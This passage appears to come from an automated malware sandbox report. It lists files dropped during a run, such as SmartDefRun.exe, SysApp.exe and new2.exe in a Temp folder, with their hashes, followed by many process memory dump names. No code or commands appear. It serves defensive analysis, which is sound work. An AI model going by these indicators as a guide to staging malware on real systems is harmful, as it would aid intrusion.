                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                            • Size 4KB
                            • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                            • MD5 SHA1 SHA512 SSDEEP

                            ModuleAnalysisCache

                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                            • Size 53KB
                            • SHA256 638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
                            • MD5 SHA1 SHA512 SSDEEP

                            StartupProfileData-NonInteractive

                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 19KB
                            • SHA256 d33d915a6fd9234139e145dd5143bdfb0dd3b6df269586985a3e8deb2593771a
                            • MD5 SHA1 SHA512 SSDEEP

                            StartupProfileData-NonInteractive

                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
                            • MD5 SHA1 SHA512

                            SmartDefRun.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                            • Size 3.7MB
                            • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                            • MD5 SHA1 SHA512 SSDEEP

                            SmartDefRun.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                            • Size 3.7MB
                            • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                            • MD5 SHA1 SHA512 SSDEEP

                            SysApp.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                            • Size 1.4MB
                            • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                            • MD5 SHA1 SHA512 SSDEEP

                            SysApp.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                            • Size 1.4MB
                            • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                            • MD5 SHA1 SHA512 SSDEEP

                            new2.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                            • Size 477KB
                            • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                            • MD5 SHA1 SHA512 SSDEEP

                            new2.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                            • Size 477KB
                            • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                            • MD5 SHA1 SHA512 SSDEEP

                            memory/312-231-0x0000013FC4F80000-0x0000013FC4FA1000-memory.dmp

                            memory/480-157-0x0000000007890000-0x00000000078B2000-memory.dmp

                            memory/480-148-0x0000000070B30000-0x0000000070B7C000-memory.dmp

                            memory/480-151-0x0000000007500000-0x000000000751A000-memory.dmp

                            memory/480-158-0x0000000008770000-0x0000000008D14000-memory.dmp

                            memory/480-153-0x00000000077C0000-0x0000000007856000-memory.dmp

                            memory/480-154-0x0000000007730000-0x000000000773E000-memory.dmp

                            memory/480-155-0x0000000007780000-0x000000000779A000-memory.dmp

                            memory/480-156-0x0000000007770000-0x0000000007778000-memory.dmp

                            memory/480-150-0x0000000007B40000-0x00000000081BA000-memory.dmp

                            memory/480-143-0x0000000005200000-0x0000000005222000-memory.dmp

                            memory/480-152-0x0000000007570000-0x000000000757A000-memory.dmp

                            memory/480-141-0x0000000002BE0000-0x0000000002C16000-memory.dmp

                            memory/480-147-0x00000000067B0000-0x00000000067E2000-memory.dmp

                            memory/480-146-0x00000000061F0000-0x000000000620E000-memory.dmp

                            memory/480-145-0x0000000005560000-0x00000000055C6000-memory.dmp

                            memory/480-142-0x0000000005670000-0x0000000005C98000-memory.dmp

                            memory/480-144-0x00000000053C0000-0x0000000005426000-memory.dmp

                            memory/480-149-0x0000000006770000-0x000000000678E000-memory.dmp

                            memory/720-228-0x00007FFCE2600000-0x00007FFCE26BE000-memory.dmp

                            memory/720-217-0x00007FFCC3EF0000-0x00007FFCC49B1000-memory.dmp

                            memory/720-227-0x00007FFCE2BF0000-0x00007FFCE2DE5000-memory.dmp

                            memory/720-226-0x00007FFCC3EF0000-0x00007FFCC49B1000-memory.dmp

                            memory/720-219-0x00007FFCE2600000-0x00007FFCE26BE000-memory.dmp

                            memory/720-218-0x00007FFCE2BF0000-0x00007FFCE2DE5000-memory.dmp

                            memory/972-225-0x00007FFCE2600000-0x00007FFCE26BE000-memory.dmp

                            memory/972-220-0x0000000140000000-0x0000000140029000-memory.dmp

                            memory/972-223-0x0000000140000000-0x0000000140029000-memory.dmp

                            memory/972-224-0x00007FFCE2BF0000-0x00007FFCE2DE5000-memory.dmp

                            memory/972-229-0x0000000140000000-0x0000000140029000-memory.dmp

                            memory/972-230-0x00007FFCE2BF0000-0x00007FFCE2DE5000-memory.dmp

                            memory/1144-214-0x00007FFCC3EF0000-0x00007FFCC49B1000-memory.dmp

                            memory/1144-213-0x00000269BF049000-0x00000269BF04F000-memory.dmp

                            memory/1144-211-0x00007FFCC3EF0000-0x00007FFCC49B1000-memory.dmp

                            memory/1388-192-0x00000245DF910000-0x00000245DF92C000-memory.dmp

                            memory/1388-187-0x00000245DF6C0000-0x00000245DF6DC000-memory.dmp

                            memory/1388-184-0x00000245DD1B0000-0x00000245DD1D2000-memory.dmp

                            memory/1388-194-0x00000245DF8F0000-0x00000245DF8FA000-memory.dmp

                            memory/1388-195-0x00000245DF950000-0x00000245DF96A000-memory.dmp

                            memory/1388-196-0x00000245DF900000-0x00000245DF908000-memory.dmp

                            memory/1388-197-0x00000245DF930000-0x00000245DF936000-memory.dmp

                            memory/1388-198-0x00000245DF940000-0x00000245DF94A000-memory.dmp

                            memory/1388-199-0x00007FFCC3EF0000-0x00007FFCC49B1000-memory.dmp

                            memory/1388-188-0x00000245DF7A0000-0x00000245DF7AA000-memory.dmp

                            memory/1388-190-0x00007FFCC3EF0000-0x00007FFCC49B1000-memory.dmp

                            memory/2512-133-0x0000000000400000-0x0000000000405000-memory.dmp

                            memory/2512-139-0x0000000000400000-0x0000000000405000-memory.dmp

                            memory/2520-183-0x00000000026EF000-0x000000000282C000-memory.dmp

                            memory/2520-182-0x00000000021D1000-0x00000000026D5000-memory.dmp

                            memory/2520-177-0x00000000021D1000-0x00000000026D5000-memory.dmp

                            memory/2520-178-0x00000000026EF000-0x000000000282C000-memory.dmp

                            memory/2876-181-0x0000000006000000-0x000000000601E000-memory.dmp

                            memory/2876-174-0x0000000005460000-0x0000000005472000-memory.dmp

                            memory/2876-193-0x00000000070B0000-0x0000000007100000-memory.dmp

                            memory/2876-191-0x0000000007810000-0x0000000007D3C000-memory.dmp

                            memory/2876-189-0x0000000007110000-0x00000000072D2000-memory.dmp

                            memory/2876-173-0x00000000059C0000-0x0000000005FD8000-memory.dmp

                            memory/2876-180-0x0000000005920000-0x00000000059B2000-memory.dmp

                            memory/2876-179-0x0000000005800000-0x0000000005876000-memory.dmp

                            memory/2876-168-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/2876-176-0x00000000054C0000-0x00000000054FC000-memory.dmp

                            memory/2876-175-0x0000000005590000-0x000000000569A000-memory.dmp